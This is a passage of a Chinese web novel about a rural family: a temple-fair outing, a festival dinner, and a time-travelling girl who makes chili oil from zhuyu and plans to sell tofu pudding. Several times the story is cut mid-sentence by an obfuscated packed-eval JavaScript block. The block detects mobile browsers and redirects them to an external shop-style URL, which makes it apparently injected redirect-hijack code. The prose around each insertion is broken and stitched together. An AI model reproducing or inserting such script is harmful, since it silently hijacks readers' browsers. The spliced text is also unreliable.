“明天老大老三你们家去县里办理东西。老二媳妇留在家里看孩子,老二到时候带剩下的孩子和我去庙会烧香。”林阿奶直接拍板道。 福宝和乐宝还小,离不开人,罗氏低声应下。 而林阿奶想着林知和那个道士的话,觉着得趁着节日去烧个香还一下愿。 “耶……”连林知都忍不住欢呼雀跃起来。 林义更是笑得不见牙。 钱氏就横了他一眼,拍了一把林义的脑袋一把道:“行了,跟你哥过去睡觉,晚上不许闹得太过分,明儿要起床早点出发。” 林义的房间被匀给了俞珩,所以他暂时只能跟林仁挤一挤了。 一夜无话。 第二天一早林大郎他们就推着板车出发去县城了。而俞珩担忧人多眼杂不安全,借口身体不适留在了家里,林知还怪替他惋惜的。 庙会也恰好是三天一次的集会,所以上河村今天格外热闹。 俗话说,有钱没钱,回家过年。无论穷富年纪,过节还是被所有人期待的。身穿盛装的人群,扶老携幼,呼儿唤女,在一片欢声笑语中,从十里八乡蜂拥而至。 林知他们是走着路去的,林阿奶挎着个篮子里面装了十个鸡蛋用麻布盖着。 林智和林敏开心得不得了,林智偏着小脑袋问走在他身边的林二郎:“阿爹,还有多远啊?” 他年纪小,还从来没有来过呢。 “不远了,就在上河村北边。”林二郎一手把林智捞起来,给架在脖子上,笑呵呵地说。 上河村是附近的大村了,平日里也会举行一些小范围的集市。关键是村子的北处有一座道观,每逢佳节,特设庙会尤其热闹。 “啊?为啥叫上河村啊?”林智视线突然变高,看得更远了,得意地晃着脑袋。 “因为我们这儿有一条河,刚好上河村就在三个村子的最前面,最后面就是下河村。”林阿奶悠悠开口道。 林智还是有些怵他阿奶的,还好林知问出了他心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17079992|194356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里的想法:“为啥我们不叫中河村呢?” 实在是长兴村也太不靠边了吧。 林义都无语了:“你自己听听,中河村好听吗?” 林知表示没有什么区别。 “去去去,你们这些熊孩子,哪里有这么多问题。”林阿奶摆手。 “哈哈哈……” 一家人打打闹闹,路上欢声笑语,倒也不觉得路有多远了。 “大娘,你家孩子可真多啊!”一个大娘模样的妇人带着一个孩子走在他们一旁。 “呵呵,这人多啊,一天吵闹得很。虽然劳力多,可是半大小子,吃穷老子,一天要的粮食也不少呢。”虽然林阿奶是抱怨着说,但模样还是笑呵呵的炫耀的样子。这年头,能养活这么多孩子,可是一件很值得骄傲的事情。 “是啊是啊……”妇人就这么一路跟林阿奶唠嗑起来了。 路上大部分人是往上河村的方向走去,正午的时候是庙会最热闹的开始,所以大家都会赶在中午之前去。 热闹会一直持续到晚上戌正大家才会散去,但是最主要去拜一下半山上的土地公,再去道观里拜一拜各位神尊,以求来年丰收,家人平安。 又由于小商小贩们看到烧香拜佛者多,在庙外摆起各式小摊赚钱,渐渐地成为定期活动,所以叫“会”。 等林知他们到了,日头已经到了半空。 尽管许多人都去庙里烧香了,前面的这条街上还是有不少人。 “包子诶,刚热乎出来的大包子,馅大皮薄——” “糖葫芦哟——又酸又甜的糖葫芦——” …… 整条街上都是摊贩们的叫喊声,各种香味弥漫在空中。 林二郎一手牵着林智一手牵着林知,林阿奶手里也拽着林敏,还不忘回头喊:“林仁,看好你弟弟妹妹,小心被拍花子给拍走了。” 一听有拍花子的,吓得几个孩子互相紧紧拽着衣角,但是眼睛还不忘四处乱瞟。 路边各种摊位琳琅满目,除了吃的,还有玩儿的。 林智和林敏两个小的盯着玩具摊眼睛都转不开了,就算走过了,还频频回头去看。 庙会中的玩具种类繁多,制作精巧,不大的摊位上摆满了各种假面、戏剧木人、小车、刀矛和竹龙。 林二郎趁林阿奶不注意,偷偷跟几个孩子说:“等会儿,烧完香出来了,二叔给你们买。” 几个孩子懂事,知道顾虑家里的情况,即使看见喜欢的东西也不好问大人要。林知闻道,看向她爹。林二郎宠溺的摸了摸她的小脑袋,乐道:“你们还小,就不要想太多,小心长不高。” 一个人又有多少童年呢,生活的重任也不应该过早压在他们身上。现在家里有些条件了,也能不断的赚钱了,三五文的东西还是买得起的。 不要像他们小时候一样,永远也得不到心爱的东西,可惜等长大了,有能力买了,却也没有小时候那么喜欢了,倒成了一份执念。 几个孩子一听二叔的话,都忍不住眼睛亮晶晶的。 林阿奶回过头来,嘟嘟嚷嚷着说:“行了,看你们那一副没出息的样子,先去烧香,等会儿不拘着你们玩……” “耶~阿奶万岁!”要不是人太多,他们又被大人牵着,几个人都要原地蹦起来了。 一行人穿过人群,直接走到庙里去了。 26. 第26章 飞云观门口,一辆马车停了下来,丫鬟上前扶下一位戴着帷帽的夫人施施然的进去了。 不过林知一行人并没有注意到。 他们此时正站在飞云观庙门内的弧形石雕下方,这里有一只石猴浮雕,有不少人围着用手摸。 “来来来,快摸一下石猴,这是可以去病消灾、延年益寿的。”林阿奶叮嘱着几个孩子,林知排着队上前兴致勃勃地用手也摸了摸。 触感冰凉,没什么特别。 “阿奶,这真的管用?”林智一脸好奇的问道。 “这可是老祖宗千年传承下来的,小四快多模几下,保佑你晚上不尿床。” 林智撇撇嘴,不满地说:“阿奶,好久的事儿了还在说!” 林知简直笑得上气不接下气,没想到林智这小子还尿床。 大殿里的人少了,林阿奶也提着东西进去。她先是把东西放在门口处的长桌上,“福生无量天尊……” 收取供奉的小弟子笑着朝林阿奶行了个礼。 “无量天尊……”林阿奶也学着样子行了个礼,“小师傅,请问玄明真人在吗?我是来拜访他的。” “无量天尊,真人他云游去了,不知归期。”小道士礼貌地回道。 林阿奶有些惋惜,但是也没有强求。 林知趁着现在已经在观里走了一圈了,正中是无量天尊也就是太上老君的雕像,周围还有一些其他的神像,她没见过,当然也不认识。 “二丫,你们快过来拜一拜。”林阿奶跪在拜垫上招呼着,她还是更习惯叫大家的小名。 林知虽然不信神佛,但是她还是持敬鬼神而远之的态度,所以很真诚地跪拜了一下。 等她拜完了,却发现其他人已经顺着这一排神像全拜了下去,美名其曰:多拜几个神仙,好保佑他们。 林知想着就那十个鸡蛋的保护费,神仙说不定都不够分呢,不由有些无奈。 突然,她的目光被一位衣着华贵,穿着绫罗绸缎的夫人给吸引了,实在是对方拜得太虔诚了。虽然看不见正脸,却能感觉到对方身上那股温柔优雅的气息。 她虔诚地磕了几个头,双手合十:“求天尊姥爷保佑阿姊平安顺遂..…..…” “喂,林知,你看什么呢?快出去玩了……”可惜还没有看清脸,林义挥了挥他的爪子差点糊在林知的脸上,一面迫不及待地把她给拉走了。 “夫人……”一位穿着绿色比甲的丫鬟不忍心的把她扶了起来,心里直叹气,这么好的人,为什么命这么苦啊! “走吧……”这位夫人起身收拾了一下情绪,“东西收拾好了吗?我们在这里住几天。” “秋实已经去了。”春华低着头答道。 这位夫人俨然是这间寺庙的常客,在走廊尽头还有一间专门的禅房,内里的陈设十分雅致清幽,与她的气质相得益彰。 两个丫鬟也一道进屋了。 而另一边,林义他们像是被放出笼子的小鸟,欢快地扑棱着翅膀扎入人群中。 林知则捏着一只小香囊若有所思,这里面放的是被磨碎的茱萸,有一股淡淡的香味,是道观免费给来上香的香客发的。 茱萸,在古时被认为是可以避难消灾之物。这和端午节的佩菖蒲、和雄黄酒的蕴意差不多是一个意思。 正走着,前面却围着一大堆小孩儿和少年们,还有不少路过的人垫着脚往里看呢。 不仅小孩儿爱凑热闹,大人也好奇得不得了啊。 林智仗着人小,竟然挤了进去。里面有一个小炭炉,炉上的一个大勺里放满了麦芽糖溶化的糖稀。 “阿姐,你们快看,是糖人耶……”林敏也学着样子挤了进去。 一下子没抓住两个人,哪晓得他们就像泥鳅一样滑不溜秋地挤进去了,大家也停下不走了。 一个木架分为两层,每层都有很多小插孔,上面插放了神态各异的糖人。 这玩意儿好看、好玩,玩完后还能吃,一般孩子都喜欢,见着就走不动了,不是缠着大人要买,就是跑回去找大人要钱,实在没钱的也不肯离去,眼巴巴地盯着这些糖人。 “看一看嘞,糖人——好吃好看好玩咯,只要五文……” 比糖人更有趣的是摊主的叫卖声,一句话拐几个弯,拖得长长的,听起来别有一番滋味。 庙会少有,一些人还是舍得花钱给小孩子买的,前面排了不少人。 林二郎看几个孩子好奇的眼光,连一向稳重的林仁也饶有兴趣,直接大手一挥:“来,你们选,二叔请你们吃。” 林义傻傻地笑着:“谢谢二叔!” “可是我想要小木剑……”林智有些纠结,他刚才就看好了。 林二郎摸了摸他的头:“回头爹给你做一个更神气的!” 更神气的木剑耶,林智果断放弃了。目光开始挑选那些小鹿、金鱼、耗子、灯笼等样子的糖人。 “豁!” “哈!” 围着的孩子不断发出惊呼声,看着神奇的一幕。 只见小贩用小铲取一点热糖稀,放在沾满滑石粉的手上揉搓,然后递给顾客让吹气,待吹起泡后,迅速放在涂有滑石粉的木模内,又让人吹,稍过一会儿,打开木模,糖人就吹好了。 再用苇杆一头沾点糖稀贴在糖人上,就大功告成了。 最后,几个人各自挑选了一个样子。 林知选了小金鱼,自己亲自吹的,成就感满满,一个惟妙惟肖的糖鱼做好了,糖色晶莹剔透在阳光下的每一个角落都闪耀着光芒。 咬着糖,几个孩子把这条街好吃的好玩的全看了个遍,终于玩累了才愿意回去。 一路上,林阿奶提起刚才看见的还是很惊奇:“吓,你们是没有看见刚才那位夫人,给了整整二十两香火钱呢,真是够买你们好多糖人了……” 想必说的是林知在大堂里看见的那位吧。 “啊?阿奶,你没有给铜板啊!”林义问道。 “不是给了鸡蛋吗?”林阿奶一瞪眼,“你们这些败家子,不能因为有了钱就随意挥霍了,真是不顾家的……” 其实以往年,他们去烧香拿的东西还要少,不过今年有了钱才多给几个鸡蛋。 “心诚则灵,小道士说了。再说了,我们都这么穷了,无量天尊也不会好意思收供奉的。” “阿奶,你还真信这些啊。那我可不可以许愿要好多好多的肉肉?”林智不解。 林义“噗嗤”一声笑了出来,连他都知道,这是不可能的事,“我每天都在梦里和财神爷许愿,希望我们家大富大贵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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系统:【未来的人坚定无神论,所以认为世界上没有神仙。只不过在后星际时代,科技已经发展到你们现在的人类不可想象的地步了。】 【已经可以比的上你们想象的鬼神之力了。】它补充道。 “那后星际的人类也可以保存前世记忆去到另一个世界投生做人吗?”要知道她可不是前世的身体,而是从小长大,和重活一世有什么区别,有人会通过这种方式永生吗?林知斟酌语言问。 系统用通俗易懂的方式解释:【在我们那个时代,人们可以体验更多的生活模式,他们可以把自己的意识投入其他世界中。体验过后意识还能回归主体。】 “全息?” 【不,比那种要高级多了。因为这些世界是真实存在的,用你们的话来说,属于灵魂出窍?】 对于系统这个冷笑话,林知一点都不觉得好笑,这跟鬼神有什么区别了。 对于宿主的怀疑,系统表示爱莫能助,它是认真的好不好? 算了算了,子不语怪力乱神。 好在林知没有纠结这个问题太多,想不通的迟早有一天会知道。有多大能力做多大的事,现在想得太多不过是庸人自扰。 27. 第27章 等回到家,林大郎他们已经从县城回来了。院子里停着装满了各种大包小包东西的板车。 “哇啦啦……”林智和林敏冲上去,看看有没有什么好东西。小孩子就是这样,最期待的就是家里大人赶集会回来带好吃的了。 几条肉和猪边油、不少米面粮还有几匹厚布,林三郎变戏法般地掏出一包糕点来,引得小孩子哇哇大叫。 “来来来,吃重阳糕啦~”林三郎笑眯眯地扬着手说道。 重阳吃花糕,又叫重阳糕,一般是用米粉为原料,更点缀以枣、杏仁核桃仁之类等果馕、加糖蒸制而成。 “真是……东西也不收拾完,好东西是留不住。”马氏一边瞪了林三郎一眼,一边把东西往下拿。 可是小孩子才不管这些,欢呼着拥着林三郎。 “阿娘~给~你也吃……”林敏一手举着糕点,一边像一只小松鼠一样吃得嘴巴鼓鼓的。 “阿敏,那爹呢?”林三郎皱着眉故意逗她。 “嘻嘻,阿爹也吃。”林敏凑到她爹身边,林三郎把她抱起来忍不住开心“哈哈”笑道。 早上出门前只简单吃了一点饭,现在还不到晚上吃饭的时候,所以大家开心地把糕点给分了,垫一下肚子。 林知眯着眼轻轻咬了一口手中的糕点,松松软软,香甜可口。 她眼睛有些湿润,自从外婆去世,她好像再也没有过过这么热闹的节日了,在这里,林知觉得自己又被家人宠成了一个小孩儿。 俞珩也分到了糕点,虽然没有以往京城那些大铺子里做的好吃,但是可能因为林家欢乐的氛围,他竟觉得十分可口。 林家人也要准备晚上的大餐。毕竟在吃饱的基础上满足口腹之欲,永远都是人生的头等大事。 林阿奶捉了两只母鸡来准备给炖了。 她让钱氏烧了一大锅的热水,然后一手钳制住鸡翅膀,一手直接用刀在鸡喉咙处割了一个小口放血,两刀下去,两只鸡就升天了。 这干练的动作让蹲在一旁看热闹的林智和林敏他们直接拍手叫好。虽然杀鸡可怕,但是吃肉很香啊!两小只口水都要滋溜下来了。 钱氏麻利地将断气了的鸡放入滚烫的热水中浸泡个几分钟,浸泡后的鸡毛特别好拔,还没多少茬。 一行人就在地上拔起毛来,一边还说笑着。 鸡血鸡内脏也用海碗装起来,不能浪费了。 另一边,罗氏也在打算把刚才买回来的猪板油给熬了,林慧在一旁给打下手。 先把板油清洗一番,再切成小块,放到锅里,加一点点水,这样熬出来的猪油就会雪白雪白。没一会,猪油的颜色从纯白变成微黄,清澈透明的液体慢慢从猪油条中涌出,有一股非人的异香随之升腾袭来。 “哇,好香好香……”林义和林知扒着门。 林知想起小时候外婆最爱用油渣混着青菜做滑肉了,那个味道让人欲罢不能。 林慧看见两个脑袋伸出来,忍不住笑了出来。 其实林家虽然不算富贵,但是也不会在吃食上苛刻太多,前段时间主要是秋收太忙,家里人都累受瘦了一圈,所以才有林知看见一副干瘦模样。 但是也算不上顿顿能吃饱,以前逢年过节才能吃上肉,肯定比不上如今隔三差五能吃肉、吃糖还有糕点好。 原本沉寂的林家仿佛人人透出一股生气。 鸡处理好了,罗氏先把鸡肉用热水烫洗了三遍去血水,其实她只是想着出水煮一遍会把油给煮走,家里这么多人,做饭难免费一些心思。 反而没想到这样处理了之后,鸡肉更加鲜嫩好吃,试过一次他们家就养成习惯了。 然后在砂锅中加入适量的清水淹没鸡肉,加入葱段、生姜片、最后滴入几滴黄酒。 当然还加了一些先前林知采回来的蘑菇,放些大红枣,然后用小火开始慢慢炖煮。 这就是林知心心念念的农家小笨鸡炖蘑菇了。 两刻钟后,锅里的油渣也变成焦黄色,把火撤掉,油渣捞出来,因为是猪板油,油渣少,两斤才得半碗油渣。把油盛到油缸里,原本见底的小油缸,即刻被填满。 “只只,拔点葱来……”罗氏冲她喊道。 林知从院子外面的篱笆墙下扯几根四季葱,洗干净了递给她,“阿娘,我们家是不是有茱萸啊?” 罗氏忙着没听见,林慧贴心地告诉她,“有啊,只只,你问这个干嘛?杂房有一些晒干了的,这东西一般是拿来去腥的,可不直接能吃啊。” 可能林慧以为林知见茱萸红澄澄的看起来很好看,就想要了。 “嗯,我知道啦。”林知敷衍地点点头,她心里想着可不可以尝试用这个做辣椒油呢,不过今天已经晚了,还是明天再说吧。 罗氏正在用锅底剩下的猪油煎豆腐,白白的豆腐外面煎起一层金黄酥脆的皮,再加一些切好的肉沫,舀一勺鸡汤,用小火炖煮。 最近林家还是在磨豆腐、卖豆腐。快冬天了,菜少,豆腐一向卖得好。 有时村里也会有人来买一些回去加个菜,倒不是用铜板,扯一把菜、拿两个鸡蛋或者舀碗豆子。 他们家因为磨豆腐用磨坊频繁,虽然也没有占村里其他人时间,但是难免还是有意见,便宜换点豆腐还能减少点怨言。 林家人多,这点菜还是能消耗完的,豆子也能拿来做豆腐。 而且看豆子量也少的快,林阿奶还打算在村里以粮商一样七文钱一斗的价格收一些豆子呢。 村里人也愿意,毕竟一样的价格嘛,还不用到城里跑一趟,减少了很多活计,经过这一遭,村里就没有再对林家抱怨的人了。 天色不早了,罗氏最后用油渣混着青菜炒了个菜。 林家人围成一桌,林慧分着碗筷,林二郎上前帮罗氏舀饭,一家子欢声笑语。 也许这就是家的味道吧。 在忙碌的日子里或许会被生活的压力所困扰,但是每当回到家中,一道热气腾腾的肉末豆腐摆在饭桌上,那一刻的喜悦和满足将溢于言表。 饭桌上,林三郎神神秘秘地抱出一个小坛子,“阿爹,你快看这是什么?” “菊花酒嘛……”林阿爷笑着一把接过来揭开,老远他就闻到了那股淡雅清香。 “哈哈……谁知菊酒解千愁啊。”林阿爷倒在碗里一点喝了一口,爽朗地笑出声。 林三郎给几个兄弟也倒了一些,让大家尝尝。 几个孩子睁着大大的眼睛盯着大人们一脸好奇的看,这酒有那么好喝吗?可是黄酒苦苦的还辣,一点都不好喝啊。 “你们都喝一点吧,这重阳和菊花酒,可是祛灾祈福的‘吉祥酒’。”林阿爷笑着摇摇头朝几个孩子说道。 “啧,还没怎么喝了,这就醉了。”林阿奶唾了一口,“小孩子家家喝什么酒。” 谁知一旁的林义早就迫不及待了,他端过他爹的酒碗猛喝一口,涩涩的味道,虽然没有黄酒那么辣,可是比它还苦。 林义憋得脸都红了,然后剧烈地咳嗽起来。 “咳咳咳……明明一点也不好喝。” 林二郎也用勺子沾了点酒水让林智尝,好奇的林智喝了,小脸直接皱成苦瓜:“果然大人们都是骗子,苦苦的哪里好喝了……” 林阿爷就哈哈大笑起来,林家其他人也忍不住乐,一起端起碗来酌了一口,乐道:“你们年纪还小,以后啊,就知道这酒的好处了。” 没上当的几个人根本不再相信了,开始向桌上的好吃的进攻。 林义表示自己的小心灵受到了莫大的伤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091108|194356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 害,只有用好吃的补一补了。 “哇,二叔母是手艺还是一样好!”林义夹了一块肉。 “臭小子,你是在嫌弃我做的饭不好吃吗?”钱氏瞪他一眼。 “阿娘,我没有啊!不信,你问问阿爹他们……”林义举手投降道。 钱氏暂时放过了他,不过罗氏做饭还真是挺好吃的,她自己也承认。 嫩滑的豆腐搭配香糯的肉末,酥脆的油渣配上解腻的青菜,交织出口感的层次感,令人回味无穷。 俞珩也很喜欢在林家吃饭,因为大家好像吃饭都很香,仅仅粗茶淡饭也可以吃出山珍海味的感觉,可能是他们对待一日三餐认真的态度感染了自己,俞珩觉得心情很是愉快。 林知舀了一碗鸡汤,表面飘着薄薄的一层油,汤底很是清亮。 鸡肉软烂,蘑菇鲜嫩,汤汁浓郁,味道鲜美。她忙又夹了一筷子蘑菇,鲜香浓郁,口感爽滑,一口咬下去汁液迸溅,极其下饭。 这一大盘子的东西在一家人的攻击下很快便削了顶。 林知腆着肚子,吃得饱饱的。 快冬天了,日头短,天就比夏日黑得快多了。 第二天清晨一大早,大家就被叫起来读书了。 林知脑子还有些懵,虽然她还是挺喜欢读书的,但是天气越来越冷了,还是被窝暖和啊。 “行了,前两天因为过节,没有怎么约束你们玩。接下来就得用功读书了,开春以后就得去镇上考学院的。” 林阿爷拍了拍迷瞪的林义,吓得昏昏欲睡的他一个激灵。 众人叹气,好日子是一去不复返咯。 晨读结束,林阿爷也不管着他们了,现在地里也没有活干了,家里卖的豆腐都是大人去磨坊磨。 西风扫过,院子里的树冠抖几下,灿灿的叶儿盘旋着落地,地上顿时有了一地碎金。 林义他们站在院子里有些无聊。 林知也在院子里看着木架子上放着的簸箕,里面是晒干的茱萸。 “只只,你们站在这里干什么?”林慧路过突然顿足,疑惑地问她。 “阿姐,我有一个想法……”林知笑起来露出她的小梨涡。 林义一看到她露出这样的表情就有些害怕,想要偷溜走,可惜他一动,就被林礼给拽住了胳膊。 半刻钟后,林义瞪圆了双眼,看着林知准备了一个小锅,还有各自各种调料准备烧火。 “二妹……要是你想玩过家家的话,我们出去玩吧,用家里这些东西,阿奶会说我们的。”林慧拉了拉林知的袖子。 林义忙不迭点头,他感觉自己的屁股在隐隐作痛,他哭丧着一张脸,为啥自己是二哥啊? 林知坚定地摇摇头:“不是,阿姐,我们是要来做辣椒油,就是一种佐料,很好吃的。” 林智、林敏听见好吃的,耳朵都竖起来了。 俞珩和林礼林慧则是惊讶。 “啊,我们?”林义这下彻底傻眼了,“还有,原来你不会啊?” 林知毫不心虚地往锅里加入适量油,热锅冷油,在锅中放入适量葱丝、姜丝和蒜末爆香。 “对啊,试一试不就知道了。书上说了,茱萸味辛而苦,八月采,味辛辣,捣滤取汁,入石灰搅成,名曰艾油,亦约辣米油。” 林知试图用书上的知识劝服他们。 “哪儿的书啊?”林义盯着她看,明明每次他们都是一起出去玩的,为啥林知啥都知道。 “就是书铺啊,我上次翻着就记到了,叫你们不好好读书。”林知心里叹气,果然,有了一个谎言,接下来就有无数谎言。 林义闻言缩了缩脖子,他最怕读书了,每次去书铺更是拘谨,真不如林知他们还敢大方的去翻书看,于是对林知的话完全信了。 28. 第28章 俞珩若有所思的点点头:“的确,《礼记》注疏有其煎法” 可惜他只知道这一个记载,具体的更多内容就不清楚了。 他倒是吃过辛辣的佐料,但是从来没有去研究过这些东西。 “哇,小花~你懂的可真多啊。”林知眼睛亮晶晶地看着他,没想到小花看起来才七八岁,竟然看过这么多书,关键还记得! 俞珩有些怔愣才反应过来林知是在叫他。马上脸又一红,其实相反他并不爱看书,只是因为被家里逼迫,反而会去找那些偏僻生冷的东西看。 林知努力在脑海中收刮那为数不多的记忆,磕磕绊绊地说:“我记得,书上是说,一斤茱萸和十斤猪油一起熬,就可以做成辣椒油。” “那我们就来试一试呗,世界上绝大数的道理都出之于结果总结。” 林知怕跟他们说实践出真知听不懂,于是换了一个说法。 如果有的人害怕试错,那么他们永远也无法改变现状。一个可能是眼界原因,他们从来不知道原来世界上还有那么多东西存在,也不去想为什么。另一种就是他们根本没有试错的资本,也只能保持现状,甚至一代代败落下去。 林知这人就是打定主意,谁也劝不动,而且她还会一直讲道理劝服你。 没办法,大家只有陪她“玩”下去了。 “阿姐,你帮我点一些豆花吧,就是第一次我做的那样。”林知这里走不开,只有让林慧去了。 “好吧。”林家平时会磨不少豆浆备着做豆腐,恰好厨房里还有一些。点个豆花也费不了多少时间,林慧提溜着林义进去给她帮忙了。 这边,林知再把茱萸放进锅里一起炸,煎炒到焦香;然后出锅加点盐、大酱等佐料。 看差不多了之后,林知迫不及待的尝了尝。可惜,在众人期待的目光下,她表情有些沮丧。 “阿姐,失败了啊?”林智也着急地用手沾着尝了尝,“啊呸,是苦的……” 俞珩也尝了一口,涩涩的带着一股苦味,还有一些咸辣,吃倒也能吃,就是味道不怎么好。 唉,要是可以直接种辣椒就好了,哪里用得上这么麻烦。 林知频频看向系统,心里蠢蠢欲动,最后还是按耐下这个念头。 算了,木秀于林风必摧之。她现在毫无自保之力,做出一些太出格的事情,肯定会带来不小的麻烦,到时候就说不清了。 害了自己是小,连累林家人就不好了。 “再来一次吧。” 还好因为林知没有信心,用的材料都比较少。 她看大家有些沮丧,打气地说:“失败并不可怕,每一次失败中总结经验都是你成功的垫脚石,每一次挫折都是你走向成功的台阶,多试几次就好了。” 一面又回忆起自己的操作,反思哪写地方不对。 俞珩琢磨了一下,轻声说:“会不会是因为茱萸放多了,毕竟它是苦的。” 林知也这么觉得,她先前是按照前世煎辣椒油的经验做的,但是茱萸没有那么辣,更多的是苦,难免会有不同。 这次林知换了一个思路。 先把茱萸放在锅里干炒;再加油煎炒到焦香;然后出锅沥油,和着葱姜一起擂碎,加点盐,把沥出的炒辣椒油倒进去。 她用筷子沾着尝了尝,眼睛一亮,这下好了!没有那股涩涩苦苦的味道,更多的是一些鲜香和微辣。 “我尝尝,我尝尝……”林智看见他姐这模样就知道应该成功了,“嗯……辣辣的跟姜有一点像?”林智睁着大眼睛好奇的问。 俞珩尝过后,赞同地点了点头,应该就是了。 “耶,我们成功了,阿姐,你好厉害!”林智原地蹦起来转圈圈。 林知得意地晃着脑袋,“那可不是,你也不看看我是谁?” 系统吐槽:【越来越自恋了。】 她站起身来准备去厨房找林慧他们。 “只只,我们把豆花做好了!”林慧这时候恰好站在厨房门口,冲院子里的几人招手。 林知露出一个大大的笑容,跑到厨房里拿出碗筷勺子舀上豆花。 然后她开始调料汁:大酱一勺、盐适量、白糖小半勺,再加醋和花椒调成料汁,淋到豆腐上。最后淋上麻辣红油、撒上花椒和葱花即可。 豆花色如雪花、汁如琼玉、块玉无瑕,再配上油亮的辣椒油和翠绿的葱花,搭配的相得益彰,让人忍不住食指大动。 “哇……香香……”林敏流着口水,小鼻子忍不住吸了吸空气中的香味。 “来,你们尝尝看,好不好吃。”林知就这么端着碗,给大家递了勺子。她一脸期待的看着大家吃了一口,也不知道这里的人吃不吃得惯辣椒呢。 “唔,好吃……烫烫的,鲜香有一些麻……”林义和着佐料囫囵吞下豆腐。 他们也没有吃过辣椒和很多佐料,平时家里做饭最多放些盐、大酱和葱花。所以也描述不出个所以然来,大家只能说着“好吃……” “阿姐,好吃呢,嗯……就是想一直吃个不停那种……”林智一边说,一边嘴巴也不空闲。 “嗝,你吃什么不是吃个不停,小嘴叭叭的……”林敏扬着两个小辫子摇摇头还不忘吃着,反驳他道。 “好嘞,今天我们给阿爷他们加个菜吧!”林知笑眯眯的,看样子反馈不错嘛。 但是她暂时没有把自己的想法说出来,还是等会儿征求一下大家的意见再说。 接下来林知又教林慧怎么做辣椒油,可能是天赋异禀,明明步骤都一样,偏偏林慧做的就是更好吃。 中午一家人看着饭桌上新出现的吃食,惊奇不已。 今天本是马氏做饭的,被林知央着也就放手他们去了,倒不成想他们原是憋着大招呢。 “怎么了?你们快尝尝还不好吃啊,这可是我好不容易琢磨出来的。”林知催促大家。 俞珩闻言偏头看了她几眼,原来“好不容易”就是试了两次啊? “对啊对啊。”林智他们点头,主要是他们还想吃啊,可是大人都不动筷子,也不好先吃。 林二郎在女儿无比期待的目光下舀了一勺子,一入口,鲜香滑嫩,混合着一股子辛香。“好吃,真不错。”林二郎很真诚的评价,其他人一听,纷纷动筷。 林知看大家反馈不错,便把之前的想法说出来,“阿爷,你说我们卖豆花怎么样?” 林阿爷还没表态,倒是林三郎支持,“二侄女儿,你这脑瓜子可真聪明,不像我二哥,像二嫂。”他称赞道。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098899|194356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >虽然不是夸自己,但是夸了自己闺女和媳妇,林二郎也只是瞪眼没有跟林三郎多计较。 林知当然有信心,豆花细腻香滑,无论在哪个季节的早晨捧一碗热腾腾、香辣味道的豆花,都是满满的幸福啊。 “嘿嘿,三叔觉得行不行?”她觉得还是三叔有商业头脑。 “我说行没有用啊,得爹点头,是不是啊,阿爹?”林三郎舀一口豆腐塞进嘴里。 林知忐忑不安地看着林阿爷。 做一个重大的决定是要有魄力的,因为在穷的情况下,是必须先看到眼前,即便知道另外一个选择在未来会有巨大的收益。 这也是穷人翻身难的原因。不是不知道怎么样做更好,但是现实逼着他只能短视,只能先保证生存。 好在沉默一会儿。 “你们有什么想法就说一说吧。”看林阿爷这意思就是同意了,大家喜出望外,又开始讨论该怎么办。 林知首先发言,“我们可以做辣豆花和甜豆花卖。” 俞珩见多识广,回忆起以前吃过或者见过的豆花样子也建议道,“喜欢吃咸味的,可以做一些卤子,浇在上面,加一些辣椒油。” “喜欢吃甜味的,就加一些白糖、蜂蜜,或是牛奶、蜜红豆,怎么吃都好吃。” 林智听见牛奶,急急地问,“俞姐姐,牛奶是什么味道啊?好喝吗?” 大家:……你的关注点好奇怪。 罗氏捏了捏他的鼻子:“你这个小馋猫,牛奶跟其他奶一样的,没什么味道,要加糖才好喝。” 好吧,一听没味道,林智就气馁了。其实他还想着大黄了,不知道能不能给它找点好喝的,最近大黄长得快,大狗都不愿意喂它了。 林智的心声大家并没有听见,他们已经讨论到租铺子还是摆摊了。 “城里的铺子小一些的都要十两一个月,买一间铺子起码五十两以上。现在还不知道行情怎么样,贸然行动,风险太大了。”林三郎认真分析。 “那我们摆铺子,到时候做一个摊车就好,这样启动成本小。”林知想着她爹做一个像街上卖包子的那种摊子应该问题不大,还能省不少钱。 被认为无所不能的林二郎:…… “那我们还要准备桌椅碗筷……” “所以可以买牛奶嘛?”林知举手插话道。 